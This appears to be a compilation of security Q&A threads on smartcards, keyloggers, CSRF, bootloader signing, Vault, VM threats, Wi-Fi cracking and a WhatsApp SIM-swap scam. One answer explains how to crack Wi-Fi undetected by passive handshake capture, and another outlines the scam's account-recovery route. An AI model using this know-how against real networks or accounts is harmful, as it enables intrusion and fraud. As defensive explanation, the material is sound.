Malware: extract private keys from smartcard? We all appreciate smartcards because they secure private keys so they don't get exposed to the world.

But in a production-environment it's often the case that smartcards are staying inserted for a long time (hours).

Now two scenarios before the question follows:

The PIN is stored by the (attacked?) application (like Firefox).
The PIN needs to be re-entered for every critical operation.

Further the assumption can be made that private keys are exportable from the card.

Now the question:
Is it possible for a professional (targeted) attacker to obtain the private keys from the smartcard in a remote-attack scenario?

The weak link in most smartcard applications is PIN entry.  Extracting private keys directly from the card is nearly impossible.  With some acid package destruction and electron microscope work, a skilled team, and enough time, money, and luck you can in theory extract keys but it involves not only physical access but a scenario where the card will be physically destroyed.

However if the host system is compromised and the user's input of the PIN is keylogged and later replayed the smartcard will gladly work just as well for the attacker as it does for the user.  If you are concerned about the host system being compromised you should look at direct PIN entry.  Using a smartcard reader with a keypad the communication is directly between the keypad and the reader.  The PIN never travels to host and thus is unavailable for intercept.  While in theory the reader itself could be flawed I have never seen an exploit involving direct PIN entry and I would assume it would probably be hardware specific.  There are methods to harden PIN entry without a dedicated keypad using programmable smartcards and OTP instead of PIN only but not sure if that is an alternative you are interested in.

Also keep in mind a lot also depends on the use case.  Is the card being used for digital signatures?  What is the damage resulting from an attacker obtaining a fraudulent signature vs stealing the actual private key.  In some scenarios that is a significant mitigation in other scenarios it is a meaningless distinction.  The latter scenario is much tougher to defend against because protecting the keys is easier than protecting unauthorized use of the keys.


How secure is "Secure Keyboard Entry" in Mac OS X's Terminal? I've been using Terminal under Mac OS X for years but somehow missed to spot this feature:

I'm now wondering how does this actually work, and is it 100% safe? If it isn't, what technique could be used to still get the keystrokes?

"Secure Keyboard Entry" maps to the EnableSecureEventInput function whose concept is described here. Basically, applications don't access the hardware themselves; they obtain events (e.g. about key strokes) from the operating system. Some elements in the OS decides what application gets what events, depending on its access rights and GUI state (there are details depending on which application is "in the foreground").
Applications can "spy" on each other, meaning (in this case) that an application running on the machine can ask to the OS to send it a copy of all key strokes even if they are meant for another application, and/or to inject synthetic events of its own. This is a feature: it allows things like "password wallets" (which enter a password as if it was typed by the user, from the point of view of the application) or the "Keyboard Viewer" (the GUI-based keyboard which allows you to "type" characters with the mouse and also shows what keys are actually being pressed at any time). EnableSecureEventInput blocks this feature for the application which calls it. Try it ! Run Terminal.app, enable the "Keyboard Viewer", and see that enabling "Secure Keyboard Entry" prevents the Keyboard Viewer from doing its job.
All these event routing is done in some user-space process which runs as root. This relies on the process separation enforced by the kernel: normal user process cannot fiddle at will with the memory allocated for a root process. The kernel itself is unaware of the user-level concept of "event". The management of events, in particular the enforcement (or not) of EnableSecureEventInput, is made by non-kernel code.
An interesting excerpt of the page linked above is the following:

The original implementation of EnableSecureEventInput was such that when a process enabled secure input entry and had keyboard focus, keyboard events were not passed to intercept processes. However, if the secure entry process was moved to the background, the system would continue to pass keyboard events to these intercept processes, since the keyboard focus was no longer to a secure entry process.
Recently, a security hole was found that made it possible for an intercept process to capture keyboard events, even in cases where secure event input was enabled and the secure event input process was in the background. The fix for this problem is to stop passing keyboard events to any intercept process whenever any process has enabled secure event input, whether that process is in the foreground or background. This means that a process which enables secure event input and leaves secure event input enabled for the duration of the program, can affect all keyboard intercept processes, even when the secure event process has been moved to the background.

This means that the event routing system actually got it wrong in the first installment of the feature. This is now supposed to be fixed.
Even assuming that the event routing is now proper and secure, meaning that EnableSecureEventInput's semantics are really enforced, then you must understand that this is completely relative to the process separation system. Any root process can inspect and modify at will the memory of all other process, and in particular see all the events; and a root process can also hook into the kernel and inspect the actual data from the keyboard bypassing the notion of event completely. A key logger which can be installed as root will do just that, and "Secure Keyboard Entry" will be defenceless against it. See this for an opensource proof of concept.
So "Secure Keyboard Entry" is secure only against attackers who could get to run some code of their own on the machine, but could not escalate their local privileges to root level. This is a rather restrictive scenario, because local privilege escalation tends to be possible on a general basis:

Local process can see a lot of the machine, so the "security perimeter" to defend is huge in that case. Preventing intrusion from remote attackers is much easier, and yet already quite hard.

Apple tends to exhibit some lack of reactivity in the case of local privilege escalation holes.

Summary: I would find it overly optimistic to believe that "Secure Keyboard Entry" provides sufficient security against key loggers on, say, public shared computers. It is not a bad feature, but it fulfills its promises only if root and the kernel are free from malicious alterations, and that's a very big "if".


What is the difference between digital notary and certification authority? Is the difference purely legal or is there a technical difference between a notary notarizing the document signer's identity and a certification authority certifying a signer's certificate?

A certificate authority will generally only sign certificates of identity containing public keys in a format intended to be interpreted primarily by machines.  A digital notary or eNotary uses digital signature technology to notarize documents where the contents are intended to be interpreted by humans.  That may include notarizing of digital identity documents eg a PDF image of your passport.  While A CA might issue PDF-signing certificates they won't sign PDFs themselves in their capacity as CAs only identity documents for those who do sign PDFs.


Different SSL/TLS certificates for subdomains I have HSTS enabled on several domains that I host/maintain, and I'm using free verified certificates from a provider that only allows encryption of the root and one subdomain on the certificate. They will allow multiple certificates to be generated for a given domain; however, all certificates are subject to the root + one subdomain policy.

Are there any security problems with configuring multiple certificates for the host (one for the root + www, and each subdomain will have its own root + subdomain certificate)? I'm especially curious if this would be a problem with HSTS. Wikipedia states that the browser simply a) forces an HTTPS connection, and b) doesn't allow the HTTPS connection to be bypassed, so it would seem to me that this wouldn't be a problem for HSTS.

I know that a setup like this could lead someone to become suspicious of the website, but I use the certificates purely for data encryption--I would use a wildcard self-signed certificate if I didn't host things for others to use.

(I'm holding out until Let's Encrypt releases in September, so I'm not looking to buy a wildcard SSL certificate at the moment.)

1) There are no security problems. You only have more private keys, which are secure as long as they are not leaked.

2) With HSTS will be no problem, as long as every subdomain has its own certificate, which is trusted, is not revoked and there is not name mismatch.


How to monitor a logs directory with OSSEC agent in windows My problem is that I have some windows programs I want to monitor with the following structure in the logs filename:

Program name%Y%m%d_%timestamp.log

Where %timestamp is formed by the concatenation of hours, minutes, seconds and milliseconds. I've already been reading the documentation about the OSSEC agent and performing some tests, and any of them where successful.

As the manual says at the localfile section:

  Wildcards may be used on non-Windows systems

So I don't know how to monitor these logs folders. Can anyone help me, please?

Edit:

I don't want to monitor the file sizes or movements. I want to get the events contained in those logs and process them.

It looks like you're looking at the log collector element rather than at the file integrity monitoring element which is covered by  in the documentation: https://ossec-docs.readthedocs.io/en/latest/manual/syscheck/

Rather than looking at specific files, you could monitor the directory. You know the directory will increase in size and items will be deleted based on retention periods and automated jobs. Once you know these metrics, you'll be able to monitor for specific changes which may be suspicious or malicious.


Capture & Decrypt packets captured by monitoring mode I am working on capturing packets using monitoring mode on my laptop. The problem is that I cannot get the source/destination IP's since the packets are encrypted. I added a key and it didn't work (I am using Wireshark to do this).

1- Is there an alternative way to do it?

2- Is there a way I can do it wirelessly using command line (terminal in my case)?

3- Can I sniff all packets on my network by connecting my laptop via ethernet?

Some assumptions I'm going to make: You are capturing wirelessly, on a WPA-PSK network and they "key" is the pre shared key aka password.

When you capture traffic wirelessly a nonce is used during the authentication process known as the 4 way handshake. During this process niether the client nor the access point actually send the password but instead both prove that they know it. The nonce serves as a way to make this process unique each time.

The result of this process is that even if you have they pre shared key, you cannot decrypt the traffic unless you also have the four way handshake.

My sugguestion would be to retry your test and ensure that you have the 4 way hanshake as part of your pcap. For help with this process check out this source. For further information regarding your question there is this thread.


Do you have to reset CSRF token after login? In a website that have CSRF protection done using a token added as an hidden element in forms, if a session and a token is generated before login to protect against login CSRF, should you reset the token if the user successfully login?

I don't see how an attacker could get the token from the login screen (as the victim) and use this token once the victim actually logged in, but I might be missing something.

if a session and a token is generated before login to protect against
  login CSRF, should you reset the token if the user successfully login?

OWASP recommends that session tokens be renewed on a successful login to prevent session fixation attacks,with CSRF attack the thumb rule is a token which cannot be guessed by an attacker beforehand and forge a request with it.Your application logic seems to follow that rule.Unless you messed up somewhere else this should work.


Payload authentication + HW-SW Binding I want to authenticate a (2nd stage) bootloader during the boot process using a symmetric key, which is derived from HW properties of the platform the bootloader is running on. Thus, I want to bind the bootloader to the hardware platform.

What I have got to work with are the following elements:

the binary B (2nd stage bootloader)
a symmetric key K derived from the hardware
a hash function `H()
AES cryptosystemwith encryptionEnc()and decryptionDec()` capabilities
a basic PRNG PRNG()
a 1st stage bootloader B_trusted, which should implement the functionality and which is assumed to be trusted / which can not be modified.

My proposal for the authentication process:

Create a hash X of B: X = H(B)
Decrypt X, yielding X_clear: X_clear = Dec(X)
Comparing X_clear with a value stored in B_trusted (and which was derived during a setup procedure

This would achieve:

a) Authentication of the hardware because of the decryption of the hash value X
b) Integrity of the bootloader B because of the application of H()

Plus it will provide a faster process instead of decrypting the whole binary B, which is a few kilobytes. Because the hash to be decrypted is only a couple of bytes.

I know a major drawback of this proposal is the symmetric key. However, in this secario it currently is not possible to use public-key encryption (unless it is possible to transfer a symmetric key into a private and public key pair)

Could you please comment on this?

Thanks in advance!

As stated, your problem is simple. What you want is to embed in B_trusted a hash value, which is the result of hashing the concatenation of the "hardware key" and the second stage bootloader code. As long as the contents of B_trusted are indeed free from alterations, and the hash function is second preimage resistant, then the attacker will not be able to come up with an altered version of the second stage bootloader that B_trusted will accept to load and run.

No need to fiddle with encryption here; a simple hash suffices. However, this assumes that the two following properties are maintained:

B_trusted cannot be altered by the attacker.
Each individual device can get its own B_trusted personalized with the proper hash value.

If B_trusted is considered free of alterations because it is in some ROM, then it may be hard to indeed personalize its value for each device; it would have to be at least partly PROM and this may raise costs. An additional problem is that such a scheme precludes the possibility of firmware updates: once B_trusted is fixated with a hash value, it will load only one specific second-stage bootloader. The attacker cannot make an alternate version, but you neither. Hash functions make no prisoners.

To solve these potential issues, you have to use cryptography, and, in particular, keys. A key is something secret and its value is exactly the measure of how it is unknown to the attacker.

A first solution attempt is to use a MAC. That's what your construction amounts to: a custom, homemade MAC, by encrypting a hash output. In cryptography, "homemade" is a synonym for "probably weak". Instead, use an actual MAC. Since you have access to a hash function, then use HMAC. Compute HMAC over the second stage bootloader code, using the "hardware key" as key for HMAC; the second stage bootloader header contains the MAC value, and B_trusted checks that it matches what it has recomputed.

This ensures that the second stage bootloader is tied to the hardware, and an altered version will not be loaded, unless it was produced by you, because, using your knowledge of the "hardware key", you can compute the HMAC output for any ulterior bootloader version. However, this works only as long as the "hardware key" is secret. And that's not a given. Indeed, most of the time, such hardware keys are not secret; the attacker can recompute them. They are bound to the hardware and thus cannot be changed by the attacker, but if he knows that "key" then he can recompute MAC values at will.

In fact, I bet that your "hardware key" is not a key in the cryptographic sense; let's call it an "hardware identifier".

To fix that, we need a digital signature. The scheme is the following:

There is a unique asymmetric key pair (say, RSA) with a public key Kp and a private key Ks.
The first stage bootloader B_trusted contains a copy of the public key Kp.
The second stage bootloader is tied to the hardware and signed: for device with identifier I, a signature is computed (in factory) over the concatenation of I and the code of B. That signature is added to B as a header.
When B_trusted runs, it obtains I from the hardware, and verifies the signature on B.

This scheme does everything you want:

B_trusted is the same for every device instance, bit to bit. It can be mass-produced in ROM.
Neither B nor B_trusted contains anything secret, so there is nothing that would be a problem if the attacker reverse-engineered the whole lot.
You, as the owner of Ks, can generate signatures at will. When you sign a second stage bootloader, you are actually authorizing that specific version to run on the hardware whose identifier you include in the signature input. Firmware updates are now possible.

Technologically, this method implies the following:

You must add a header to the second-stage bootloader, with a signature value. A strong 2048-bit RSA signature has size 256 bytes. If that size overhead is not tolerable in your situation, you may try to use DSA or ECDSA (a good, strong signature of the same strength will be down to 56 bytes).
B_trusted must do a signature verification. RSA signature verification is efficient; it begins by hashing, then uses the hash value in a mathematical operation which can be completed by an anemic ARM core in less than 100000 clock cycles. I don't know what your system hardware is, but it seems improbable that you could not contrive to use a RSA signature verification (DSA and ECDSA imply higher costs, but maybe usable as well).


Can I use HashiCorp Vault to restrict access to credentials based on CIDR ranges? This seems like a pretty simple use case, but it would depend on some pretty recently added functionality which I might not understand yet:

A python script gets populated by configuration management on a few monitoring servers within a specific IP range.

def main():
    args = get_args()
    user, password = args.redis_credentials
    ... store creds in a local file owned by root, do stuff with this...

It should change to this:

def main():
    args = get_args()
    vault_token = args.approle_token_for_vault
    user, password = get_creds_from_vault(token=vault_token, path="/secrets/redis/redis_credentials")
    ... store creds in a local file owned by root, do stuff with this...

This script needs a user/pass auth to a datastore.

Let's say that anything passed to the script goes into a file (e.g. an access token), shared on a bunch of machines. Provisioning is unpredictable, except for a specific subnet or IP address range.

Anyway, can I use Vault to restrict access to these shared credentials based on some kind of network identifier like MAC address or IP address?

  Yes, I know, IP address restrictions are a "defense in depth"
  approach, and IP addresses can be spoofed. But the idea is to quickly
  make an incremental improvement to the existing security situation.

It turns out that, as of 0.6.4 of the open source version of HashiCorp Vault, I can restrict access to AppRoles based on CIDR ranges, although I couldn't do this with the other authentication methods, as it happened.

Later versions of HashiCorp Vault have added the CIDR range binding capability to more and more authentication methods.
HashiCorp added the ability to not only bind Vault Auth methods to CIDR ranges, but also allows binding any Vault Tokens produced to configurable CIDR ranges.

When the feature was enabled:

https://github.com/hashicorp/vault/blob/master/CHANGELOG.md#0103-june-20th-2018

Where the magic happens:

https://github.com/hashicorp/vault/blob/a54603039d5c38fcc2c9468f3beb29e1c1c2aca0/helper/cidrutil/cidr.go

What is a CIDR?

  CIDR (Classless Inter-Domain Routing, sometimes called supernetting) is a way to allow more flexible allocation of Internet Protocol (IP) addresses than was possible with the original system of IP address classes.
  A CIDR network address looks like this under IPv4: 192.30.250.00/18
  Because it's just a bitwise way to specify IP address ranges, 192.30.250.00/18  would correspond to the IP address range of 192.30.192.0 to 192.30.255.255.

Links about CIDRs

https://www.ipaddressguide.com/cidr
https://searchnetworking.techtarget.com/definition/CIDR


Can a guest virtual machine be compromised by a virus on the host machine? All questions ask about the other way round, ie. can a virtual machine compromise the host. But I'm asking can a virus on the host machine compromise the guest virtual machine?

Yes, it can.

Any data stored on the virtual hard drives of the virtual machines is stored on the hard drive of the host system. When any VMs are in "suspended" state, their RAM content is also saved on the hosts hard drive. Any malware which can access these files can read and modify their content.

Another attack vector would be to target the hypervisor process directly and inject code into it. When one controls the hypervisor, one controls the virtual machines it executes.

A malware called Crisis has been spotted in the wild which targets virtual machine images on the machine it runs on. An attack from the host system circumvents most security features a guest system could have, which means that it would be almost impossible to harden a guest system against this kind of attack.


How to see what happens when a usb is inserted After reading through this question about the dangers of untrusted usb drives, I was wondering if there was a way to actually see what happens when a usb drive is installed.  Is it possible to say run a virtual machine of windows or linux, install the drive, and see a listing of what commands run when it is inserted?
EDIT: It seems that physically the best option is to plug it into a computer I don't care about that is not plugged into a network.  What I am more interested in though is how to see what gets executed when the usb gets plugged in.  Is there some kind of logging that will show me every command that gets executed when the usb stick is plugged into a windows and/or linux machine.  Or is there something like wireshark, but for usb instead of networks?

Well that edit means a new answer.

Yes you can. You can monitor the individual bits sent to and from the USB stick in many ways. Then you decode those bits, and follow the rabbit down the hole, so to say.

A quick google search turns up plenty of things. Search for USB analyzer

Although if you're on windows, Microsoft released a first party tool: https://msdn.microsoft.com/en-us/library/windows/hardware/dn741264(v=vs.85).aspx

These tools will allow you to follow the entire stack as it comes off of the USB and watch an infection happen real time. It's actually pretty cool to dive into.


Suspicious app name in Windows 10 permission prompt I downloaded MongoDB 3.4 from the MongoDB website here

When I run the .msi file to install, I am prompted with the following screen asking me if I trust a39adfe.msi

A Google search for a39adfe.msi turns up nothing.

Does anyone know if this is something expected and if not, why would it happen?

This is expected behaviour. When you install an MSI package, Windows caches a copy of the installer in "%windir%\installer" (a hidden system folder) and renames it using a random hex name. You can delve into the Windows registry to divine the mapping between original installer and the cached version, but if you'd like extra assurance it is probably easier (and more definitive) to compare the two .msi files.

Aside from the filename, the cached .msi file should be the same as the original .msi: you could compare details like file size, signing information, and checksums. In your screenshot, the verified publisher is "MongoDB, Inc".

You can confirm the install behaviour using:

 msiexec.exe /i <path_to_MSI> /lfvmous output.txt

Example output:

  MSI (s) (14:A8) [14:00:05:398]: Original package ==> C:\Users\User\Desktop\mongodb-win32-x86_64-2008plus-ssl-3.4.13-signed.msi

  MSI (s) (14:A8) [14:00:05:398]: Package we're running from ==> C:\WINDOWS\Installer\2c8ddfd2.msi

For some related information, see: Where the MSI file is copied after the installation?.


Is SSL secure enough for a REST API - has anyone used PGP or AES to encrypt the actual data inside SSL? Perhaps I'm being overly paranoid, but after reading recent news regarding network security I'm starting to believe that SSL isn't quite enough anymore for sensitive data transmissions.

Ref:

http://www.wired.com/threatlevel/2013/12/bgp-hijacking-belarus-iceland/
http://www.cloudshield.com/blog/advanced-malware/how-to-decrypt-openssl-sessions-using-wireshark-and-ssl-session-identifiers/

I'm a web developer looking into building some new APIs, mainly for private use (company machines talking to each other). Some systems could be outside the corporate network. My question is surrounding additional security pertaining to APIs themselves.

Has anyone ever thought about or has implemented something like PGP or AES to actually encrypt all the data going back and forth inside API communications?

I'm talking about still using SSL as the blanket wrapper on the outside but then going a step further by encrypting the entire payloads. Obviously this creates some steep overhead in encrypting/decrypting on both ends. The thing is, I'm OK with this conceptually. Hardware is cheap.

What I'm not particularly fond of is just sending my data in clear text and putting all my eggs in the SSL basket anymore.

Thoughts?

Yes, there are situations where layers of encryption make sense.  Here is one specific example:

SSL may be legitimately decrypted by at interim points; it is not always end-to-end:

Akamai may decrypt and re-encrypt traffic for which it's providing content delivery.
Prolexic wants their clients' SSL keys so that when they're called upon to protect against a DDoS they can open up packets and make smart decisions about what to permit and what to drop.
An IDS/IPS may be configured with private keys in order to decrypt traffic for analysis, and you want to protect sensitive data from being logged there.
Even internal to a business, SSL may be decrypted at an SSL edge gateway for performance reasons and passed unencrypted on internal networks.

Someone's going to jump up here and say "You shouldn't use SSL that way!"  Agreed.  It just happens to happen in the real world a non-trivial amount of the time for reasonable reasons.

My company has an API that does what you describe.  XML-over-HTTPS transactions have specific sensitive fields encrypted with public key encryption.  The SSL can be decrypted by interim hosts for reasons such as those I've listed above without exposing the sensitive information.  It's a smart solution to a real problem.


What are the benefits of having multiple overwriting patterns for secure deletion? When installing a new AIX server, there is a possibility to use several patterns for secure deletion.

My question: Is it necessary to use several patterns? What is the benefit from having several ones?

No, it isn't necessary.

With modern (less than 10 year old) hard drives, it is not required to overwrite a disk more than once.

There is an often cited paper which says that you need to overwrite data at least 10 times to be sure, but that paper is over 20 years old and thus applies to outdated hard drives. Modern hard drives use much weaker magnetic fields and much more sensitive read-heads to reach higher data densities. As a result their data is a lot less persistent.

This has been proven in the paper "Overwriting Hard Drive Data: The Great Wiping Controversy" by Craig Wright and Dave Kleiman from 2008.

You might wonder: "Then why is there still software which offers to overwrite hard disks dozens of times with all kinds of sophisticated patterns?" The answer is that people are paranoid when it comes to security. When they heard somewhere that a hard drive can be restored after a single pass, even when the source is dubious, they won't trust a software product which doesn't do it. Also, there are some outdated standards for IT security around which still have that myth and which must be followed by some organizations, even when they know that it's snake oil.


Exploit-db like websites, where people can search for security bugs If someone has to decide between 2 very similar server programs, or operating systems, then it searches on sites like:

http://www.exploit-db.com/search/

so that there he could get enough information about the given program/os's historical security bugs.

Do you know exploit-db like sites, where can people search for security bugs? What's the best place to search? What's the best place to compare two software/os-es?

Try these for a start:

http://www.securityfocus.com

http://osvdb.org

http://web.nvd.nist.gov

http://secunia.com


How visible is a WPS attack with reaver? I have been trying to find an answer to this but the search terms seem to be to ambiguous.

I am attempting to determine from a strategic standpoint how intelligent it is to use reaver.

From a speed standpoint it seems to be infinitely quicker than Aircrack assuming that the
WPS exploit is available. From a visiblitiy standpoint though it seems Aircrack is the way to go.

I can grab the 4 way handshake in a matter of seconds then go back to some deep dark hole to brute force it on a power machine. Whereas reaver needs access to the AP which I can only assume means it's making network noise. Common sense would dictate that the more network noise there is the worse off you are.

I can't find anything on this though confirming my theory. Anyone have insight?

Brute-forcing the four-way handshake can be completely silent: an attacker can set up a card to passively listen for someone connecting to the AP, record the handshake, and brute-force it at their leisure.  It is impossible to tell if someone is doing this.

Cracking WPS, in contrast, is quite noisy.  It can only be performed through active contact with the AP, which means the AP's administrator can find out about the attack even if you guess the PIN on the first try.  Each PIN attempt requires roughly half a dozen exchanges with the AP, which can be detected by anyone running a wireless IDS.  Further, some APs will flag that WPS has been locked out due to too many failures, which can be spotted by anyone scanning for APs in the area.  the AP may also be configured to notify an administrator if the WPS lockout has been triggered.


How effective is changing the MAC address? Since every vendor has a MAC address range, and Apple has network card models that only they use (Airport), I suppose that it is very easy to identify a network package as coming from an Apple device, even if the traffic is encrypted.

One of the most valuable things an attacker must find out, is which operative system is running the computer they want to hack.

Therefore my theory is: Changing the MAC address of an Apple device to look like the other of a non Apple vendor (and viceversa), can improve my security within local networks.

How foolish is my humble theory?

UPDATE: I know that this alone will not solve many security problems. I just wanted to know if being concerned about my MAC address is a waste of time or one more good point to consider when tuning the security of my devices.

What you're referring to is fingerprinting - the act of identifying a system based on certain properties it has.

Modern fingerprinting techniques involve quite a few tests:

MAC address range
How the OS responds to certain packet flags (e.g. unexpected TCP RST+FIN)
Open ports and available services (e.g. remote X and SSH ports open implies it's not Windows)
Service banners - lots of services give away what OS is running, e.g. MySQL protocol header, or the Apache default 404 response.

Changing just one of these is unlikely to throw off a detailed fingerprinting scan.

If you really want to get into the details of it, take a look at nmap's "Remote OS Detection" documentation.


Is OpenVPN secure in this way? I'm familiar with OpenVPN because my home router has a builtin OpenVPN server.
I would like to use OpenVPN all the time, but how do I deal with situations where I don't own the routers?

ex.: in a netcafe that I'm using to go through to reach the internet over OpenVPN

Can a router in a netcafe spoof an IP address when I connect with OpenVPN?

My home router has an OpenVPN server that can be only reached through a foo.dyndns.com domain address.

Does using the domain restriction fully protected me, or not?

Can someone setup a "bad" DNS server and a "bad" OpenVPN server in the netcafe so that the DNS response returns a bad IP address, so that I authenticate to the bad OpenVPN server, and have all my traffic sniffed?

e.x.: the "bad" netcafe router would allow all openvpn authentication to it's openvpn server?
Or the connection would not be established, because it's not really my OpenVPN server, just a "bad" one, that an attacker configured?

If you've setup OpenVPN correctly, you've configured the client with a SSL CA that the server certificate should be signed with. If you've kept the CA's private key private, no other OpenVPN server will be able to present a certificate that your client will accept.

Also, the other way around, you can configure your OpenVPN client to use an SSL certificate that was signed by the server, so the server knows to only accept clients it has signed certificates for.

So someone could still try to MitM you, but your OpenVPN client would present a warning or even fail completely (haven't tested it). In the worst case, it becomes a denial of service.


When do Ps Tools send cleartext passwords, and how can I demonstrate this? The Ps Tools from Mark Russinovich are very handy remote administration utilities.  However, they all come with one big caveat.

  Note that the password is transmitted in clear text to the remote system.

http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

Does this only happen when a credential is provided to the tool, like when the account being used locally does not have privileges on the remote system?  Or is some form of authenticator (password, token, or hash) always being sent in the clear?  If I'm logged in locally with an account that has the necessary privileges on the remote system (and, therefore, don't have to provide my password to the Ps Tool), are my credentials still at risk?

How can I demonstrate this to myself or someone else, like with Wireshark?  What filters can I use to isolate the critical packets, and which properties should be shown?

I believe most of the answers you seek are in the analysis by Mike Pilkington presented at SANS Forensics and IR Summit – June, 2011:

Blog posts:
http://www.dshield.org/diary.html?storyid=11173 and
http://computer-forensics.sans.org/blog/2010/06/01/protecting-admin-passwords-remote-response-forensics/

PDF of presentation slides:
http://securityscaper.com/Protecting%20Privileged%20Domain%20Accounts%20during%20Live%20Response%20-%20June%202011.pdf

The blog posts and presentation discuss the technologies in detail, explain his investigative methodology, and recommend safer ways to use the tools.

The general theme is to use alternate authentication methods to avoid exposing passwords to the network but with care taken so these accounts are insulated from compromise by malware on the suspect system.

In the DFIR blog post above Mike says:
"First, there is an easy workaround you can employ with PsExec to avoid sending your password in clear text. The trick is to first mount the IPC$ share of the remote computer and then use PsExec. Jean-Baptiste Marchand has written an excellent article about this technique, as well as several other remote administration tips." linking to an detailed article by JBM from 2005:
http://www.governmentsecurity.org/forum/topic/28152-windows-built-in-remote-administration-tools/

hth,
adric


Can WhatsApp recover Google Drive backups if the phone is not connected to the original Google account? Last week Brazilian news outlets reported a scam involving WhatsApp where an attacker could get access to an WhatsApp account by activating the target phone number on a different device in control of a scammer. A detailed report is available here (Portuguese link). The scam works as follow:

An employer of the carrier where the target phone number belongs would activates this same number on a different device, in possession of the scammer.
The scammer then activates the WhatsApp account of the victim on this new phone, since it can now capture the SMS used to validate if a given device is in control of a given number.
The scammer contacts the victim's family and friends, pretending to be in need of money, asking for transfer, this sort of thing.

Of course there are many flaws in the plan, since the original owner of the phone would notice his device no longer works, and some scammers have been caught already. It also needs the cooperation of a rogue carrier employee. Also with the new WhatsApp feature of two-step authentication, this attack can be prevented for 7 days.

However, all the news outlets have reported that the scammers had access to the following data:

Groups
Contacts
Chats history

The first two items seem reasonable to me, what seems strange is how scammers could have access to the chat history, since we know WhatsApp only stores undelivered encrypted messages. This must mean that the scammer is getting the history from the Google Drive backup. However, the scammer only has the power to get hold of the phone number, how can he get access to the conversation files on Google just by controlling this?

I think it's really unlikely for this to be true, because my Google Account is protected by a password and extra check via two-step authentication, which the scammer does not have. Is this story not being reported accurately?

Is this story not being reported accurately?

Yes, in some way. I mean, the information you've questioned is accurate (at the first time I doubted too), they just did not explained all the details behind. So I decided to message Ronaldo Prass, the person behind this statement on the article you linked (which on free translation look like this):

  He (the scammer) will identify who are the relatives and friends. He has the chat history which he could benefit from and use to make the scam more reliable, making the victim have no questions about it

According to him, there are more deep steps in this scam which the press did not publish as it somehow "could be a recipe for the scam".

There is a major point we are forgetting here:
The scammers have someone on their side at a carrier.

With that said, it's easy to deduce that the employee have access to the victims register. Thus the scammer and the "team" behind it have all the information they need, including victim's email address. Also, the victims might have not been chosen randomly but based on their profile instead.

Well, now the attacker has the victim's email and mobile number (cloned on a new phone), all he needs is try to gain access to the account via a recovery fallback as you can see on the image bellow (that fallback actually helps the attack:  similar point here). He just asks for recovery and get full access to the desired account.

That is the first and very important part of the scam, which the press seems to avoid explaining. Only after that they configure WhatsApp on the "cloned phone" with all chat history, contacts, groups, everything.

Basically this scam is only possible (i̶n̶ ̶B̶r̶a̶z̶i̶l̶
̶b̶e̶c̶a̶u̶s̶e̶ ̶o̶f̶ ̶B̶r̶a̶z̶i̶l̶i̶a̶n̶s̶*̶)̶ with help of a carrier employee and the major vulnerability here is how easy is to them to transfer the number to another SIM card for a scammer.

* DISCLAIMER: I'm Brazilian

EDIT: As far as I am concerned, we are all safe with any kind of two-step verification, since both steps needs to be approved. In this case the scammer will fail at one of them. This scam may affect only people without two-step verification and with a recovery phone set.


What is a Web Application Firewall? What is a Web Application Firewall (WAF) and what are some of the things to look for in an effective one? Why would you deploy a WAF instead of just an IPS?

A Web Application Firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation.
By making use of the rules many attacks such as Cross-site scripting (XSS) and SQL Injection, can be detected and blocked.

For a more depth description see the OWASP Website and Wikipedia.

When it comes to choosing a Web Application Firewall there is a good list on Wikipedia. Personally I would recommend ModSecurity when using Apache.

When choosing a WAF personally the two most critical things I would consider are how effective its default ruleset is (aka how effective is it out the box) and how customisable the ruleset is to suite your specific application. Most of the time by using the default ruleset applications will break and the ruleset will need modifying.
Obviously over things to consider are how effective its logging is, what sort of speeds it can handle, platforms it can support and how well maintained it is. As with any firewall its needs to be kept up-to-date to perform at its best against new attacks.

Although some IPS systems such as Snort do have rulesets that can monitor for Web Application attacks. In my experience I have found that an IPS is better for catching attacks at the Network level and a WAF with a good ruleset will work best for catching stuff at the application layer. Also by using a WAF you have a better choice of responses than you do with a IPS where you don't have to make a choice between block or allow instead you can take over actions.


duplicity list-current-files doesn't ask for password I use duplicity to create symmetrically encrypted backups to some server space I get from my ISP. When creating the backups I of course set a password and when I want to restore my files, duplicity asks for that password.

What I don't understand is that when I want to see which files are backed up and I run

duplicity list-current-files ftp://user@host/BACKUP

duplicity doesn't ask for the password, but just gives my the file list.

However, when I look at the files that are in that remote location, they all end in .gpg and thus seem to be encrypted. When I download one of those files and want to open them with tar tvf it fails. I can however decrypt the file with gpg and then look at it with tar.

Why doesn't duplicity list-current-files ask for the password? Couldn't this be considered a weakness?

EDIT:
I did some more testing and it seems that duplicity asks me for the password only the first time I try to list-current-files

I downloaded the archive/backup files created by duplicity on the remote server to my local machine. When I ran duplicity list-current-files file:///path/to/directory, it asked for the password. When I ran the command again, it didn't ask.
When restoring the files duplicity always asks for the password.

I did the same with a newly created (local) backup and the result was the same.

It turns out duplicity keeps data around in ~/.cache/duplicity. These files are unencrypted manifest and signature files, but not the actual data.

I found something about this in the man page, but it only became clear to me after some further testing and looking at the cache. (See my EDIT of the question.)

So, it seems to me this doesn't represent a weakness like I originally thought.


Is cloud hosting allowed for FIPS 140-2? I am in the very early stages of making my application FIPS 140-2 compliant... so early in fact that I am not sure what level it has to be... just writing a preliminary recommendations document at this point. However, I am fairly certain that the level will end up being either 1 or 2; so if it's not too much trouble, please answer my question for both FIPS 140-2 level 1 and level 2.

In reading the FIPS documentation, my confusion for Level 1 stems from the fact that, in one place it says, that your merely need production grade equipment and is appropriate for situation where there is no physical security. However, in another place it says: "a conformal coating or a sealing coat applied over the module’s circuitry to protect against environmental or other physical damage"

I am no build expert, but I've never had any sort of coating over any of my personal PC's circuitry. So it seems to me that any cloud provider would need this coating to conform to even FIPS level 1. Furthermore, it just seems unlikely to me that a normal shared cloud platform could be deemed acceptable as someone may read your RAM.

So here are my questions:

Is it okay to host your FIPS level 1 compliant application in the cloud? How about level 2?
If #1 is yes, are there specific requirements/certifications needed by the cloud host?
If #1 is no, is it okay for the crypto-module to be off the cloud and other components be on it?
Just want to validate my assumption: it is okay to collocate at a normal facility for level 1, correct? If not, what are the requirements/certifications needed by the host? What about level 2?

Thank you for taking a look at my question; sorry, but I am not very experienced with the physical side of security, I just know the software and don't want to make any assumptions that will get me into trouble.

(Disclaimer: I am not a lawyer; don't try this at home.)

